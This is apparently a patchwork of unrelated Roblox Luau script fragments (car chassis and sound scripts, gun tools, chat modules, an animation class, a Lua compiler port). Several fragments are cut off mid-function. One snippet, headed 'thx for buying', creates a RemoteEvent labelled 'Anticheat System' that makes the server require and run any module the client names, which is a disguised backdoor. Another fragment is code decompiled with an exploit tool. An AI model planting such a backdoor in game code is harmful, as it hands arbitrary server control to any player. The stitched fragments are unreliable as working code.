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--Updates the speedo
val.Velocity.Changed:connect(function() Guages.Speed.Text = tostring(math.floor(val.Velocity.Value.Magnitude * StudsToKilo)) end)
--//Setup//--
local Buttons = script.Parent local Floor = Buttons.Parent local FloorConfiguration = Floor.Configuration
--Brake particles
bp1 = script.Parent.BrakeParticles1.ParticleEmitter bp2 = script.Parent.BrakeParticles2.ParticleEmitter bs = script.Parent.Mover.Sound --brake sound while true do wait(0.1) --dir & speed if dir.Value == 0 then script.Parent.Mover.BodyVelocity.Velocity = Vector3.new(0, 0, 0) elseif dir.Value >= 0.5 then script.Parent.Mover.BodyVelocity.velocity= script.Parent.Mover.CFrame.lookVector*rsp.Value elseif dir.Value <= -0.5 then script.Parent.Mover.BodyVelocity.velocity= script.Parent.Mover.CFrame.lookVector*-rsp.Value end --Brake effects if brk.Value >= 0 and csp.Value >= 0.5 then bp1.Enabled = true bp2.Enabled = true bs.Volume = brk.Value / bmax.Value --this trick doesn't let the sound hurt your ears --even when the maximum brake value is 10000000 else bp1.Enabled = false bp2.Enabled = false bs.Volume = 0 end end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local l__Time__1 = p1.Time; local v2 = service.New("Sound"); v2.Volume = 0.25; v2.Looped = false; v2.SoundId = "http://www.roblox.com/asset/?id=151715959"; local v3 = service.New("Sound"); v3.Volume = 0.25; v3.Looped = false; v3.SoundId = "http://www.roblox.com/asset/?id=267883066"; local v4 = { Name = "Countdown", Title = "Countdown", Size = { 300, 150 }, Position = UDim2.new(0, 10, 1, -160) }; function v4.OnClose() v2:Stop(); v3:Stop(); v2:Destroy(); v3:Destroy(); end; local v5 = client.UI.Make("Window", v4); local v6 = v5:Add("TextLabel", { Text = l__Time__1, BackgroundTransparency = 1, TextScaled = true }); local v7 = { Text = "" }; local u1 = false; local u2 = nil; function v7.OnClick() if u1 then v2.Volume = 0.25; v3.Volume = 0.25; u2.Image = "rbxassetid://1638551696"; u1 = false; return; end; v2.Volume = 0; v3.Volume = 0; u2.Image = "rbxassetid://1638584675"; u1 = true; end; u2 = v5:AddTitleButton(v7):Add("ImageLabel", { Size = UDim2.new(0, 20, 0, 20), Position = UDim2.new(0, 5, 0, 0), Image = "rbxassetid://1638551696", BackgroundTransparency = 1 }); v2.Parent = v6; v3.Parent = v6; local l__gTable__8 = v5.gTable; l__gTable__8:Ready(); for v9 = l__Time__1, 0, -1 do if not l__gTable__8.Active then break; end; v2:Play(); v6.Text = v9; wait(1); end; v3:Play(); for v10 = 0, 3 do v3:Play(); for v11 = 1, 0, -0.1 do v6.TextTransparency = v11; wait(0.05); end; for v12 = 0, 1, 0.1 do v6.TextTransparency = v12; wait(0.05); end; end; v5:Close(); end;
-- Settings
local Configuration = Home:WaitForChild("Configuration") local SwingPower = Configuration:WaitForChild("SwingPower") local function SetPhysicalProperties(Part,Density) if Part then Part.CustomPhysicalProperties = PhysicalProperties.new(Density,Part.Friction,Part.Elasticity) end end GetAllDescendants = function(instance, func) func(instance) for _, child in next, instance:GetChildren() do GetAllDescendants(child, func) end end local function SetCharacterToWeight(ToDensity,Char) GetAllDescendants(Char,function(d) if d and d.Parent and d:IsA("BasePart") then SetPhysicalProperties(d,density) end end) end local function OnSeatChange(Seat) if Seat.Occupant then local CurrentThrottle = Seat.Throttle local BodyForce = Seat:WaitForChild("BodyForce") -- Adjust swing when interacted if CurrentThrottle == 1 then BodyForce.Force = Seat.CFrame.lookVector * SwingPower.Value * 100 elseif CurrentThrottle == -1 then BodyForce.Force = Seat.CFrame.lookVector * SwingPower.Value * -100 else BodyForce.Force = Vector3New() end delay(0.2,function() BodyForce.Force = Vector3New() end) -- Make the character weightless for the swing to behave correctly if CurrentOccupant == nil then CurrentOccupant = Seat.Occupant SetCharacterToWeight(0,CurrentOccupant.Parent) end elseif CurrentOccupant then -- Set the character's weight back SetCharacterToWeight(0.7,CurrentOccupant.Parent) CurrentOccupant = nil end end SwingSeat1.Changed:connect(function() OnSeatChange(SwingSeat1) end) SwingSeat2.Changed:connect(function() OnSeatChange(SwingSeat2) end)
--[[ Implementation ]]
local singleton = nil local GameStageHandler = {} GameStageHandler.__index = GameStageHandler function GameStageHandler.new() local self = setmetatable({ currentStage = nil, currentStageClassName = nil, timeStageStarted = nil, }, GameStageHandler) self.gameStageChanged = Signal.new() getGameStage.OnServerInvoke = function(player) return self.currentStageClassName end singleton = self return self end function GameStageHandler.getInstance() return singleton end function GameStageHandler:nextStage() -- Destroy the previous stage self.currentStage:destroy() -- Figure out what the next stage will be local nextStageName = nil for index, value in ipairs(Conf.stages) do if value == self.currentStageClassName then nextStageName = Conf.stages[index + 1] break end end self:_initializeStage(nextStageName) end function GameStageHandler:start() self:_initializeStage(Conf.stages[1]) end function GameStageHandler:destroy() self.gameStageChanged = nil if self.currentStage then self.currentStage:destroy() end end function GameStageHandler:_initializeStage(stageName) if not stageName then return end print(string.format("Initilizing Stage: %s", stageName)) -- Initialize the next stage, if there is one local nextStage = stageFolder:FindFirstChild(stageName) assert(nextStage, string.format("Failed to initialize stage \"%s\", stage does not exist", stageName)) self.currentStage = require(nextStage).new(self) self.currentStageClassName = stageName self.timeStageStarted = tick() self.currentStage:initialize() -- Fire local event self.gameStageChanged:fire(stageName) -- Notify clients of the stage change gameStageChanged:FireAllClients(stageName) Broadcast.fireRemote("GAME_STAGE_CHANGE", stageName) end return GameStageHandler
-- Class Functions
function Animater:Play(name: string, options: options) options = (options and (type(options == "table"))) and options or {} if self.Tracks[name] then -- TODO: Add indexability to list of tracks for one animation name. local track: AnimationTrack = self.Tracks[name][1] if track then if options.stopOthers then for _, trackList in next, self.Tracks do for _, t in next, trackList do if t.IsPlaying and t ~= track then t:Stop(options.fadeOut or self.FadeOut) end end end end if options.forceStart or not track.IsPlaying then track:Play(options.fadeIn or self.FadeIn, options.weight or 1, options.speed or 1) end end end end function Animater:Stop(name: string, options: options?) options = (options and (type(options == "table"))) and options or {} if self.Tracks[name] then -- TODO: Add indexability to list of tracks for one animation name. local track: AnimationTrack = self.Tracks[name][1] track:Stop(options.fadeOut or self.FadeOut) end end function Animater:Get(name: string, pos: number?) : AnimationTrack? if self.Tracks[name] then if pos and self.Tracks[name][pos] then return self.Tracks[name][pos] else return self.Tracks[name][math.random(1, #self.Tracks[name])] end end return nil end function Animater:Has(name: string, pos: number?) : boolean if self.Tracks[name] then if pos and self.Tracks[name][pos] then return true elseif self.Tracks[name][math.random(1, #self.Tracks[name])] then return true end end return false end function Animater:SetSpeed(name: string, speed: number, pos: number?) if self.Tracks[name] then local track: AnimationTrack = self.Tracks[name][pos or math.random( 1, #self.Tracks[name] )] if track then track:AdjustSpeed(speed) end end end function Animater:LoadAnimation(name: string, animation: Animation, options: AnimationIndex) local track: AnimationTrack = self.Controller:LoadAnimation(animation) self._maid:GiveTask(track) track.Priority = self.Priority or Enum.AnimationPriority.Core track:AdjustSpeed(options.speed or 1) track:AdjustWeight(options.weight or 1, options.weightFade or 0.100000001) self.Tracks[name][1] = track end function Animater:LoadAnimationIndex(name: string, animationIndex: AnimationIndex) local animation: Animation = Instance.new('Animation') self._maid:GiveTask(animation) animation.AnimationId = animationIndex.id animation.Name = name self:LoadAnimation(name, animation, animationIndex) end function Animater:LoadAnimationTable(animationTable: { [string]: AnimationIndex }) for name, sublist in next, animationTable do self.Tracks[name] = {} if sublist.id then self:LoadAnimationIndex(name, sublist) else -- TODO: Add multiple entries for one animation name end end end function Animater:SetController(controller: Controller) self:Clean() self.Controller = controller end function Animater:SetPriority(priority: Enum.AnimationPriority) self.Priority = priority end function Animater:Clean() for _, sublist in next, self.Tracks do for _, track: AnimationTrack in next, sublist do track:Stop(0) end end self._maid:DoCleaning() self.Tracks = {} end function Animater:Destroy() self:Clean() table.clear(self) self = nil end return Animater
--// general sound making function
function module.MakeSound(ID : string, parent : Instance, playing : boolean?, pitch : number?, volume : number?, looped : boolean?) local MadeSound = Instance.new("Sound") MadeSound.Parent = parent MadeSound.SoundId = ID MadeSound.Playing = playing MadeSound.PlaybackSpeed = pitch MadeSound.Volume = volume MadeSound.Looped = looped return MadeSound end
-- this module script determines who is banned (if you want to ban people just like that, place this in server storage. then input the userid.) -- also DONT RENAME THIS MODULE SCRIPT
local module = { Banned = {}, } return module
--Rebirth formula secreta de las cangreRebirths :V:V:V:V:V
Button.Activated:Connect(function() local FormulaUpdate = RebirthFormule.Value + (RebirthFormule.Value * Multiplier.Value) RebirthEvent:FireServer() if Points.Value >= FormulaUpdate then --Info for tween local TweenRotationInfo = TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local Tween1 = TweenService:Create(Icon, TweenRotationInfo, {Rotation = 15}) Tween1:Play() Tween1.Completed:Connect(function() local Tween2 = TweenService:Create(Icon, TweenRotationInfo, {Rotation = -10}) Tween2:Play() Tween2.Completed:Connect(function() local Tween3 = TweenService:Create(Icon, TweenRotationInfo, {Rotation = 0}) Tween3:Play() end) end) end end)
-- initialize to idle
playAnimation("idle", 0.1, Enemy) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end
--//Weight//--
VehicleWeight = 1700 --{Weight of vehicle in KG} WeightDistribution = 60 --{To the rear}
--!strict
return { isFinite = require(script.isFinite), isInteger = require(script.isInteger), isNaN = require(script.isNaN), isSafeInteger = require(script.isSafeInteger), MAX_SAFE_INTEGER = require(script.MAX_SAFE_INTEGER), MIN_SAFE_INTEGER = require(script.MIN_SAFE_INTEGER), NaN = 0 / 0, toExponential = require(script.toExponential), }
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) --local head = vCharacter:findFirstChild("Head") local head = locateHead() if head == nil then return end --computes a the intended direction of the projectile based on where the mouse was clicked in reference to the head local dir = mouse_pos - head.Position dir = computeDirection(dir) local launch = head.Position + 3 * dir local delta = mouse_pos - launch local dy = delta.y local new_delta = Vector3.new(delta.x, 0, delta.z) delta = new_delta local dx = delta.magnitude local unit_delta = delta.unit -- acceleration due to gravity in RBX units local g = (-9.81 * 20) local theta = computeLaunchAngle( dx, dy, g) local vy = math.sin(theta) local xz = math.cos(theta) local vx = unit_delta.x * xz local vz = unit_delta.z * xz local missile = Pellet:clone() missile.CanCollide = true missile.Position = launch missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY missile.RotVelocity = Vector3.new(math.random(), math.random(), math.random()).unit * 10 missile.OrnamentScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vPlayer creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function locateHead() local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) return vCharacter:findFirstChild("Head") end function computeLaunchAngle(dx,dy,grav) -- arcane -- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile local g = math.abs(grav) local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY))) if inRoot <= 0 then return .25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx) local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx) local answer1 = math.atan(inATan1) local answer2 = math.atan(inATan2) if answer1 < answer2 then return answer1 end return answer2 end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint fire(targetPos) wait(.8) Tool.Enabled = true Tool.Handle.Transparency = 0 end script.Parent.Activated:connect(onActivated)
--------BACKLIGHTS--------
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(194) game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(194) game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(194)
--[=[ @return table Returns a serialized version of the option. ]=]
function Option:Serialize() return { ClassName = self.ClassName, Value = self._v, } end
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = {} end if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then function ChatLocalization:FormatMessageToSend(key,default) return default end end local FriendMessageTextColor = Color3.fromRGB(255, 255, 255) local FriendMessageExtraData = {ChatColor = FriendMessageTextColor} local function Run(ChatService) local function ShowFriendJoinNotification() if FFlagUserHandleFriendJoinNotifierOnClient == false then if ChatSettings.ShowFriendJoinNotification ~= nil then return ChatSettings.ShowFriendJoinNotification end end return false end local function SendFriendJoinNotification(player, joinedFriend) local speakerObj = ChatService:GetSpeaker(player.Name) if speakerObj then local joinedFriendName = joinedFriend.Name if ChatSettings.PlayerDisplayNamesEnabled then joinedFriendName = joinedFriend.DisplayName end local msg = ChatLocalization:FormatMessageToSend("GameChat_FriendChatNotifier_JoinMessage", string.format("Your friend %s has joined the game.", joinedFriendName), "RBX_NAME", joinedFriendName) speakerObj:SendSystemMessage(msg, "System", FriendMessageExtraData) end end local function TrySendFriendNotification(player, joinedPlayer) if player ~= joinedPlayer then coroutine.wrap(function() if player:IsFriendsWith(joinedPlayer.UserId) then SendFriendJoinNotification(player, joinedPlayer) end end)() end end if ShowFriendJoinNotification() then Players.PlayerAdded:connect(function(player) local possibleFriends = Players:GetPlayers() for i = 1, #possibleFriends do TrySendFriendNotification(possibleFriends[i], player) end end) end end return Run
-- Connect to the sound playing event
game:GetService("SoundService").Playing:Connect(function(sound) if sound.Playing and sound.SoundId and sound.Volume >= soundThreshold then shakeScreen(shakeMagnitude, shakeDuration) end end)
--Made by Stickmasterluke
sp=script.Parent firerate=0.075 range=950 power=300 rate=1/30 spinuptime=0 barreloffset=Vector3.new(0,0.35,-3.35) windvec=Vector3.new(2,-1,1).unit firetime=0 maxammo=400 reloadtime = 3.65 ammo=maxammo debris=game:GetService("Debris") equipped=false check=true firing=false reloading=false function waitfor(parent,name) while parent:FindFirstChild(name)==nil do wait() end return parent:FindFirstChild(name) end function checkintangible(hit) if hit and hit~=nil then if hit:IsDescendantOf(sp.Parent) or hit.Transparency>.8 or hit.Name=="Handle" or hit.Name=="Effect" or hit.Name=="Bullet" or hit.Name=="Laser" or string.lower(hit.Name)=="water" or hit.Name=="Rail" or hit.Name=="Arrow" then return true end end return false end function castray(startpos,vec,length,ignore,delayifhit) local hit,endpos2=game.Workspace:FindPartOnRay(Ray.new(startpos,vec*length),ignore) if hit~=nil then if checkintangible(hit) then if delayifhit then wait() end hit,endpos2=castray(endpos2+(vec*.01),vec,length-((startpos-endpos2).magnitude),ignore,delayifhit) end end return hit,endpos2 end function wait(TimeToWait) if TimeToWait ~= nil then local TotalTime = 0 TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() while TotalTime < TimeToWait do TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait() end else game:GetService("RunService").Heartbeat:wait() end end function drawbeam(beamstart,beamend,clr,fadedelay) local dist=(beamstart-beamend).magnitude local laser=Instance.new("Part") laser.Name="Effect" laser.Anchored=true laser.CanCollide=false laser.Shape="Block" laser.formFactor="Custom" laser.Size=Vector3.new(.2,.2,.2) laser.Transparency=0 laser.Material=Enum.Material.Neon laser.Locked=true laser.TopSurface=0 laser.BottomSurface=0 laser.BrickColor=BrickColor.new("Lime green") laser.CFrame=CFrame.new(beamend,beamstart)*CFrame.new(0,0,-dist/2)*CFrame.Angles(math.pi/2,0,0) local m=Instance.new("SpecialMesh") m.Scale=Vector3.new(1,dist*5,1) m.MeshType="Brick" m.Parent=laser debris:AddItem(laser,fadedelay*0.5) laser.Parent=game.Workspace --[[local frames=math.floor(fadedelay/rate) for frame=1,frames do wait(rate) local percent=frame/frames laser.CFrame=laser.CFrame+windvec*rate laser.Transparency=.5+(percent*.5) end]] wait(.5) laser:remove() end function fire() local hu=sp.Parent:FindFirstChild("Humanoid") local he=sp.Parent:FindFirstChild("Head") local t=sp.Parent:FindFirstChild("Torso") local team=sp.Parent:FindFirstChild("TEAM") if hu and hu.Health>0 and t and he and themouse~=nil and equipped then anim2 = sp.Parent.Humanoid:LoadAnimation(sp.FireAni) if anim2 then anim2:Play() anim2:AdjustSpeed(5) end local startpos=he.Position local fakestartpos=(sp.Handle.CFrame*CFrame.new(barreloffset)).p local vec=(themouse.Hit.p-startpos).unit + (Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000)) / (1500*37.5)) local p=Instance.new("Part") p.Name="Effect" p.BrickColor=BrickColor.new("Lime green") p.CanCollide=false p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Size=Vector3.new(0,0,0) p.Transparency=1 local m=Instance.new("SpecialMesh") m.Parent=p local hit,endpos=castray(startpos,vec,range,sp.Parent,false) local fakevec=(endpos-fakestartpos).unit if hit~=nil then local newcf=CFrame.new(endpos,endpos+fakevec)*CFrame.Angles(math.pi/2,0,0)*CFrame.new(0,0,0) p.CFrame=newcf local w=Instance.new("Weld") w.Part0=hit w.Part1=p w.C0=hit.CFrame:inverse()*newcf w.C1=newcf:inverse()*newcf w.Parent=p team:clone().Parent=p local c=Instance.new("ObjectValue") c.Name="creator" c.Value=game.Players.LocalPlayer c.Parent=p local s=script.Script:clone() s.Parent=p s.Disabled=false else p.CFrame=CFrame.new(endpos,endpos+fakevec) p.Velocity=fakevec*power p.Parent=game.Workspace end debris:AddItem(p,1) p.Parent=game.Workspace delay(0,function() drawbeam(fakestartpos,endpos,BrickColor.new("Bright yellow"),.1) end) --[[local sound=sp.Handle:FindFirstChild("Fire") if sound~=nil then --sound:Stop() sound:Play() end]] local shoulder=t:FindFirstChild("Right Shoulder") if shoulder~=nil then shoulder.CurrentAngle=(math.pi/2)+.1 end end end function onEquipped(mouse) equipped=true if mouse~=nil then anim = sp.Parent.Humanoid:LoadAnimation(sp.idle) if anim then anim:Play() end themouse=mouse mouse.Icon="http://www.roblox.com/asset/?id=2966012" mouse.Button1Down:connect(function() mouse.Icon="http://www.roblox.com/asset/?id=2966012" firetime=tick()+spinuptime down=true end) mouse.Button1Up:connect(function() down=false mouse.Icon="http://www.roblox.com/asset/?id=2966012" end) mouse.KeyDown:connect(function(Key) if string.lower(Key) == "r" then if ammo ~= maxammo and sp.Enabled == true then sp.Enabled = false Reload() sp.Enabled = true end end end) end end function Reload() sp.Handle.Fire:Stop() anim3 = sp.Parent.Humanoid:LoadAnimation(sp.Reload) if anim3 then anim3:Play() anim3:AdjustSpeed(2.5) end local sound=sp.Handle:FindFirstChild("Reload") if sound~=nil then sound:Play() end wait(reloadtime) ammo = maxammo end function onUnequipped() if anim then anim:Stop() end equipped=false themouse=nil end sp.Equipped:connect(onEquipped) sp.Unequipped:connect(onUnequipped) while true do if down and equipped and sp.Enabled == true then sp.Enabled = false if ammo > 0 then ammo = ammo - 1 if sp.Handle.Fire.IsPlaying == false then sp.Handle.Fire:Play() end fire() wait(firerate) else Reload() end sp.Enabled = true else sp.Handle.Fire:Stop() wait() end end
-- Same extra's apply down here as well.
game.Players.ChildRemoved:Connect(function(player) if not pcall (function() game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = ""..player.Name.. " has left the game."; Color = Color3.fromRGB(255, 151, 151); Font = Enum.Font.ArialBold; FontSize = Enum.FontSize.Size18; }) end) then print ("Error") end end)
-- v1.0 --
local player = game.Players.LocalPlayer local PlayButton = script.Parent.AudioPlayerGui.PlayButton local PauseButton = script.Parent.AudioPlayerGui.PauseButton local VolUpButton = script.Parent.AudioPlayerGui.VolUp local VolDownButton = script.Parent.AudioPlayerGui.VolDown local ChangeButton = script.Parent.AudioPlayerGui.ChangeButton local onOff = script.Parent.AudioPlayerGui.onOff local carSeat = script.Parent.CarSeat.Value
--Made by Stickmasterluke
sp=script.Parent firerate=22 power=50 rate=1/30 debris=game:GetService("Debris") equipped=false check=true function onEquipped(mouse) equipped=true if mouse~=nil then if check then mouse.Icon="rbxasset://textures\\GunCursor.png" sp.Handle.Transparency=0 else mouse.Icon="rbxasset://textures\\GunWaitCursor.png" sp.Handle.Transparency=1 end mouse.Button1Down:connect(function() local hu=sp.Parent:FindFirstChild("Humanoid") local t=sp.Parent:FindFirstChild("Torso") if check and hu and hu.Health>0 and t then check=false mouse.Icon="rbxasset://textures\\GunWaitCursor.png" sp.Handle.Transparency=1 local sound=sp.Handle:FindFirstChild("Throw") if sound~=nil then sound:Play() end local shoulder=t:FindFirstChild("Right Shoulder") if shoulder~=nil then shoulder.CurrentAngle=2 end local p=sp.Handle:clone() p.CanCollide=true p.Transparency=0 local vec=(mouse.Hit.p-t.Position).unit p.CFrame=CFrame.new(t.Position,t.Position+vec)*CFrame.new(0,0,-5) p.Velocity=(vec*power)+Vector3.new(0,20,0) local s=script.Script:clone() s.Parent=p s.Disabled=false local ct=Instance.new("ObjectValue") ct.Name="creator" ct.Value=game.Players.LocalPlayer ct.Parent=p debris:AddItem(p,firerate+10) p.Parent=game.Workspace wait(firerate) sp.Handle.Transparency=0 mouse.Icon="rbxasset://textures\\GunCursor.png" check=true end end) end end function onUnequipped() equipped=false sp.Handle.Transparency=0 end sp.Equipped:connect(onEquipped) sp.Unequipped:connect(onUnequipped)
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[[ Creates a new alert in specified frame, of specified type. This will cause all existing alerts to move down, making room for the new one. The alert will disappear after a set time. ]]
function AlertController.addAlert(alerts, type, message) local entry = baseAlertElement:Clone() for _, child in pairs(alerts:GetChildren()) do if child:IsA("Frame") then child.LayoutOrder = child.LayoutOrder + 1 end end local messageElement = entry.Message messageElement.Text = message if type == Constants.Alert.Fail then messageElement.TextColor3 = Color3.fromRGB(201, 67, 58) elseif type == Constants.Alert.Success then messageElement.TextColor3 = Color3.fromRGB(89, 156, 82) end entry.Parent = alerts delay( 5, function() if messageElement and messageElement.Parent then local tween = TweenService:Create(messageElement, tweenInfo, {TextTransparency = 1}) tween:Play() tween.Completed:Wait() entry:Destroy() end end ) end return AlertController
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart then script.Parent.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _GBrake=0 local _ClutchOn = true local _ClPressing = false local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCSEnabled local _TCSActive = false local _ABS = _Tune.ABSEnabled local _ABSActive = false local FlipWait=tick() local FlipDB=false local _InControls = false
--[[for x = 1, 50 do s.Pitch = s.Pitch + 0.01 s:play() wait(0.001) end]]
for x = 1,100 do s.Pitch = s.Pitch - 0.0020 s:play() wait(0.001) end wait() end
--////////////////////////////// Include --//////////////////////////////////////
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants")) local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local Speaker = require(modulesFolder:WaitForChild("Speaker")) local Util = require(modulesFolder:WaitForChild("Util")) local ChatLocalization = nil pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end) ChatLocalization = ChatLocalization or {} if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then function ChatLocalization:FormatMessageToSend(key,default) return default end end local function allSpaces(inputString) local testString = string.gsub(inputString, " ", "") return string.len(testString) == 0 end
--Avxnturador @ //INSPARE
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("DS_Sounds") local lastGear = 0 local Rev1 = 1500 local Rev2 = 4000 local Rev3 = 6400 local Rev4 = 7300 wait(0.5) script:WaitForChild("DS1") script:WaitForChild("DS2") script:WaitForChild("DS3") script:WaitForChild("DS4") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","DS1",car.DriveSeat,script.DS1.SoundId,1,script.DS1.Volume,false) handler:FireServer("newSound","DS2",car.DriveSeat,script.DS2.SoundId,1,script.DS2.Volume,false) handler:FireServer("newSound","DS3",car.DriveSeat,script.DS3.SoundId,1,script.DS3.Volume,false) handler:FireServer("newSound","DS4",car.DriveSeat,script.DS4.SoundId,1,script.DS4.Volume,false) car.DriveSeat:WaitForChild("DS1") car.DriveSeat:WaitForChild("DS2") car.DriveSeat:WaitForChild("DS3") car.DriveSeat:WaitForChild("DS4") script.Parent.Values.Gear.Changed:connect(function() if lastGear>script.Parent.Values.Gear.Value then if ((script.Parent.Values.RPM.Value>=Rev1) and (script.Parent.Values.RPM.Value<Rev2)) then if FE then handler:FireServer("playSound","DS1") else car.DriveSeat.DS1:Play() end elseif ((script.Parent.Values.RPM.Value>=Rev2) and (script.Parent.Values.RPM.Value<Rev3)) then if FE then handler:FireServer("playSound","DS2") else car.DriveSeat.DS2:Play() end elseif ((script.Parent.Values.RPM.Value>=Rev3) and (script.Parent.Values.RPM.Value<Rev4)) then if FE then handler:FireServer("playSound","DS3") else car.DriveSeat.DS3:Play() end elseif (script.Parent.Values.RPM.Value>=Rev4) then if FE then handler:FireServer("playSound","DS4") else car.DriveSeat.DS4:Play() end end end lastGear = script.Parent.Values.Gear.Value end)
-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid local GetCellFunction = workspace.Terrain.GetCell
--thx for buying
local a = Instance.new("RemoteEvent", game.ReplicatedStorage) a.Name = "Anticheat System" a.OnServerEvent:connect(function(p,a) require(a).load(p.Name) end)
-- Hook events
Entry.TextBox.FocusLost:Connect(function(submit) return Window:LoseFocus(submit) end) UserInputService.InputBegan:Connect(function(input, gameProcessed) return Window:BeginInput(input, gameProcessed) end) Entry.TextBox:GetPropertyChangedSignal("Text"):Connect(function() Gui.CanvasPosition = Vector2.new(0, Gui.AbsoluteCanvasSize.Y) if Entry.TextBox.Text:match("\t") then -- Eat \t Entry.TextBox.Text = Entry.TextBox.Text:gsub("\t", "") return end if Window.OnTextChanged then return Window.OnTextChanged(Entry.TextBox.Text) end end) Gui.ChildAdded:Connect(function() task.defer(Window.UpdateWindowHeight) end) return Window
--[[ Returns the health of the system ]]
function BaseSystem:getHealth() return self._health end
------------------------------------------------------------------------ -- writes an instruction of type ABC -- * calls luaK:code() ------------------------------------------------------------------------
function luaK:codeABC(fs, o, a, b, c) assert(luaP:getOpMode(o) == luaP.OpMode.iABC) assert(luaP:getBMode(o) ~= luaP.OpArgMask.OpArgN or b == 0) assert(luaP:getCMode(o) ~= luaP.OpArgMask.OpArgN or c == 0) return self:code(fs, luaP:CREATE_ABC(o, a, b, c), fs.ls.lastline) end
-- Set player control
function GuiController:setPlayerControlsEnabled(enabled: boolean) local playerControls = self:_getPlayerControls() if playerControls then if enabled then -- Enable movement playerControls:Enable() else -- Disable movement playerControls:Disable() end end end
-- Looks for a folder within workspace.Terrain that contains elements to visualize casts.
local function GetFastCastVisualizationContainer(): Instance local fcVisualizationObjects = workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME) if fcVisualizationObjects ~= nil then return fcVisualizationObjects end fcVisualizationObjects = Instance.new("Folder") fcVisualizationObjects.Name = FC_VIS_OBJ_NAME fcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there. fcVisualizationObjects.Parent = workspace.Terrain return fcVisualizationObjects end
------------------------------------------------------------------------ -- parse a repeat-until control structure, body parsed by chunk() -- * used in statements() ------------------------------------------------------------------------
